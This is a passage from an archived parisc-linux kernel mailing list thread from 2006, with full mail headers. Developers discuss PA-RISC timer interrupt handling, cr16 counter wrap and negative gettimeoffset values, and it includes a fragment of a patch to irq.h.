 #ifdef CONFIG_SMP
 	.set_affinity =	iosapic_set_affinity_irq,
Index: parisc-2.6/include/asm-parisc/irq.h
===================================================================
--- parisc-2.6.orig/include/asm-parisc/irq.h	2006-09-03 21:06:43.000000000 -0700
+++ parisc-2.6/include/asm-parisc/irq.h	2006-09-03 21:11:00.000000000 -0700
@@ -39,6 +39,8 @@
  */
 void no_ack_irq(unsigned int irq);
 void no_end_irq(unsigned int irq);
+void cpu_ack_irq(unsigned int irq);
+void cpi_end_irq(unsigned int irq);
 
 extern int txn_alloc_irq(unsigned int nbits);
 extern int txn_claim_irq(int);


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Sun, 03 Sep 2006 10:17:49 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <1157296669.3486.9.camel@mulgrave.il.steeleye.com>
References: <J4TKVV$8AA4E9E98C79A1A2778C0CBF8A96F048@scarlet.be>
	<20060830165211.GA3999@colo.lackof.org>
	<119aab440608301323w309debf2g6635ce4757ac024b@mail.gmail.com>
	<1157212326.4041.26.camel@mulgrave.il.steeleye.com>
	<119aab440609030800h264c16bcn2958a78558a2ef48@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624177 20905 80.91.229.3 (22 Nov 2014 02:42:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:57 +0000 (UTC)
Cc: Joel Soete <soete.joel@scarlet.be>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Sep 2006 15:18:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 03 Sep 2006 17:18:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 45ED57D89C;
	Sun,  3 Sep 2006 09:18:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25113-08; Sun, 3 Sep 2006 09:18:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C8D97D885;
	Sun,  3 Sep 2006 09:18:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EB2F57D883
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 09:18:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25113-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Sep 2006 09:18:02 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 8AA617D876
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 09:18:02 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k83FHn507764; Sun, 3 Sep 2006 11:17:49 -0400
In-Reply-To: <119aab440609030800h264c16bcn2958a78558a2ef48@mail.gmail.com>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DMXJcBIKf2I/GoicY2xoDl1wdWxlc5ZW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23970

On Sun, 2006-09-03 at 11:00 -0400, Carlos O'Donell wrote:
> You address two issues here 1) Long times between timer_interrupts,
> 2) negative offsets in gettimeoffset().
> 
> The first issue is a problem I had not considered. It is a very likely
> scenario that timer_interrupt is interrupted by another
> timer_interrupt, and overwrites the cr16 value of the most recent
> interrupt. Your patch here is definately correct, I had considered the
> reentrancy of this function.

Actually, we don't have a re-entrancy problem: the way the EIEM works,
we can't get another timer_interrupt until we come out of this one.  We
can, however, get all other interrupts in this code.   Like I said, on
pa8800 the culprit was cache flushing IPI's, which can take > 1ms to
execute (because the cache is so huge).

> Your guess that this is the solution to problem 2) is not quite right.
> I will argue that the "halftick" counting is at fault here. When a
> "halftick" is counted as a full tick the system time moves into the
> future. All calls to gettimeoffset must therefore return negative
> adjustments. I think removing the erroneous halftick counting is the
> solution to issue 2.

Memory is cheap in this array.  What we should really have is two cycle
values:  prev_tick and next_tick.  Then we can run do_gettimeoffset from
prev_tick (the cycle value at last interrupt) and thus not muck about
trying to work out from jiffies if this is a halftick or a multiple
tick.

James



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Sun, 03 Sep 2006 11:14:53 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <1157300093.3486.15.camel@mulgrave.il.steeleye.com>
References: <J4TKVV$8AA4E9E98C79A1A2778C0CBF8A96F048@scarlet.be>
	<20060830165211.GA3999@colo.lackof.org>
	<119aab440608301323w309debf2g6635ce4757ac024b@mail.gmail.com>
	<1157212326.4041.26.camel@mulgrave.il.steeleye.com>
	<119aab440609030800h264c16bcn2958a78558a2ef48@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624178 20910 80.91.229.3 (22 Nov 2014 02:42:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:58 +0000 (UTC)
Cc: Joel Soete <soete.joel@scarlet.be>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Sep 2006 16:15:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 03 Sep 2006 18:15:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F6147D8A3;
	Sun,  3 Sep 2006 10:15:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25838-04; Sun, 3 Sep 2006 10:15:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 34DD67D891;
	Sun,  3 Sep 2006 10:15:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 129C27D885
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 10:15:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25423-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Sep 2006 10:15:10 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id A6F827D884
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 10:15:10 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k83GEr510357; Sun, 3 Sep 2006 12:14:54 -0400
In-Reply-To: <119aab440609030800h264c16bcn2958a78558a2ef48@mail.gmail.com>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qsbJfHpMMmApXLSZZGFnDKIxMjQ1N90q
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23971

On Sun, 2006-09-03 at 11:00 -0400, Carlos O'Donell wrote:
> Your guess that this is the solution to problem 2) is not quite right.
> I will argue that the "halftick" counting is at fault here. When a
> "halftick" is counted as a full tick the system time moves into the
> future. All calls to gettimeoffset must therefore return negative
> adjustments. I think removing the erroneous halftick counting is the
> solution to issue 2.


Actually, I think we just accept it as a feature rather than a bug.
Since the timer interrupts miss so many ticks, halftick processing looks
like a good idea to me.  Thus, we have to assume gettimeoffset() can be
negative by up to half a tick.  The current processing in
do_gettimeofday() already copes nicely with this.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Mon, 4 Sep 2006 15:12:31 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <200609041912.k84JCVWn027155@hiauly1.hia.nrc.ca>
References: <1157390636.3513.21.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624178 20920 80.91.229.3 (22 Nov 2014 02:42:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2006 19:12:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 04 Sep 2006 21:12:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E82437D967;
	Mon,  4 Sep 2006 13:12:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17592-05; Mon, 4 Sep 2006 13:12:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF8937D968;
	Mon,  4 Sep 2006 13:12:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 402A37D966
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 13:12:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17592-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Sep 2006 13:12:34 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id EDAC77D95B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 13:12:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k84JCW8o027156;
	Mon, 4 Sep 2006 15:12:33 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k84JCVWn027155;
	Mon, 4 Sep 2006 15:12:31 -0400 (EDT)
In-Reply-To: <1157390636.3513.21.camel@mulgrave.il.steeleye.com> from "James
	Bottomley" at Sep 4, 2006 12:23:56 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /D62A7YDa2A7W7vDOHQyxWYyOWhhasex
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23972

> On Mon, 2006-09-04 at 12:57 -0400, John David Anglin wrote:
> > There needs to be a check to ensure that the code has enough time
> > to set cr16 with the new compare time before the counter passes this
> > value.  If it misses, the counter will wrap.  This probably doesn't
> > need to be a full half tick if it's desireable to avoid negative
> > offsets.
> 
> Exactly!

The loop in the last timer patch that I sent, as compiled for a 32-bit 
c3k kernel, is four instructions.  Using a 500 us half tick time and
assuming a slow 50 MHz cpu, I estimate we should be able to handle
latencies up to about 6 seconds.  The maximum latency time for faster
cpus are proportionately longer.  That should be enough to handle most
circumstances except for an uninitialized tick value.  Another loop
could be added with a larger decrement if we need to handle larger
latencies.

I'd hoped that improving the handling of timer interrupts might
fix the behavior of expect, but it doesn't.  If I run the binutils
ld testsuite under load, it usually hangs at the end of the test:

dave     28731 28706  4 14:56 pts/1    00:00:25 expect -- /usr/share/dejagnu/runtest.exp --tool ld --srcdir /home/dave/gnu/binutils-2.16.91/src/ld/testsuite CC=gcc -L/home/dave/gnu/binutils-2.16.91/objdir/./ld CFLAGS=-g -O2 CXX=c++ -L/home/dave/gnu/binutils-2.16.91/objdir/./ld CXXFLAGS=-g -O2 CC_FOR_HOST=gcc CFLAGS_FOR_HOST=-g -O2 OFILES=ldgram.o ldlex.o lexsup.o ldlang.o mri.o ldctor.o ldmain.o ldwrite.o ldexp.o  ldemul.o ldver.o ldmisc.o ldfile.o ldcref.o ehppalinux.o  BFDLIB=../bfd/.libs/libbfd.a LIBIBERTY=../libiberty/libiberty.a  LIBS=
dave     28751 28731  0 14:56 pts/1    00:00:00 [expect] <defunct>

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Mon, 4 Sep 2006 15:21:39 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20060904212139.GA12278@colo.lackof.org>
References: <1157385104.3513.11.camel@mulgrave.il.steeleye.com>
	<200609041657.k84GvPht025978@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624178 20925 80.91.229.3 (22 Nov 2014 02:42:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:58 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2006 21:21:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 04 Sep 2006 23:21:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 045887D974;
	Mon,  4 Sep 2006 15:21:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19453-05; Mon, 4 Sep 2006 15:21:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7169B7D975;
	Mon,  4 Sep 2006 15:21:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 552CD7D973
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 15:21:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19379-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Sep 2006 15:21:41 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 262437D96F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 15:21:41 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A366C360045;
	Mon,  4 Sep 2006 15:21:40 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19498-08; Mon, 4 Sep 2006 15:21:39 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 55797360024; Mon,  4 Sep 2006 15:21:39 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200609041657.k84GvPht025978@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2K3OfMpXPjltCOrBOTU2QKozMTE2Ncni
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23973

On Mon, Sep 04, 2006 at 12:57:25PM -0400, John David Anglin wrote:
> There needs to be a check to ensure that the code has enough time
> to set cr16 with the new compare time before the counter passes this
> value.  If it misses, the counter will wrap.  This probably doesn't
> need to be a full half tick if it's desireable to avoid negative
> offsets.

Yes - I agree. I think this is the last bug in my code.
I'll just "skip" one tick in that case.
My guess is we'll never need more than a 0x1000 cycles
to read CR16, calculate the new "next_tick" and write CR16.

I picked 0x1000 because it very easy to test for: "if (x >> 12)...".

I'll review the your patch and see if I missed anything else
and then post version #4 (or #5?). Lost count.

grant

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] make parisc interrupts nest properly
Date: Mon, 4 Sep 2006 22:55:27 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <119aab440609041955k6a6b9466h91726bd1a9e2d621@mail.gmail.com>
References: <1157391143.3513.23.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624179 20929 80.91.229.3 (22 Nov 2014 02:42:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:59 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Sep 2006 02:55:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 05 Sep 2006 04:55:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6AB557D917;
	Mon,  4 Sep 2006 20:55:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24613-05; Mon, 4 Sep 2006 20:55:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1C7D7D91A;
	Mon,  4 Sep 2006 20:55:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 068E37D8FE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 20:55:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24613-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Sep 2006 20:55:27 -0600 (MDT)
Original-Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.233])
	by free.linux.hp.com (Postfix) with ESMTP id B8B207D720
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 20:55:27 -0600 (MDT)
Original-Received: by wx-out-0506.google.com with SMTP id h31so2501733wxd
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 04 Sep 2006 19:55:27 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=ieDS/fqQROuWCDzv6odEC+ha0cfoL6NUnwudhVMbynj5Os0wkI56kNSQET6l4vKNEvZpkfyrFvShARozg0ymx2PyNCIWIzuEZAhwwO9kxhvWiejuV94hqIrVk2yRf6RXMUc+mFFJzFOnLBOSNzoH90HVonLiSOetE608Zj478Sg=
Original-Received: by 10.90.25.9 with SMTP id 9mr1221289agy;
	Mon, 04 Sep 2006 19:55:27 -0700 (PDT)
Original-Received: by 10.90.54.16 with HTTP; Mon, 4 Sep 2006 19:55:27 -0700 (PDT)
In-Reply-To: <1157391143.3513.23.camel@mulgrave.il.steeleye.com>
Content-Disposition: inline
X-Google-Sender-Auth: 0845632f6273db2f
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
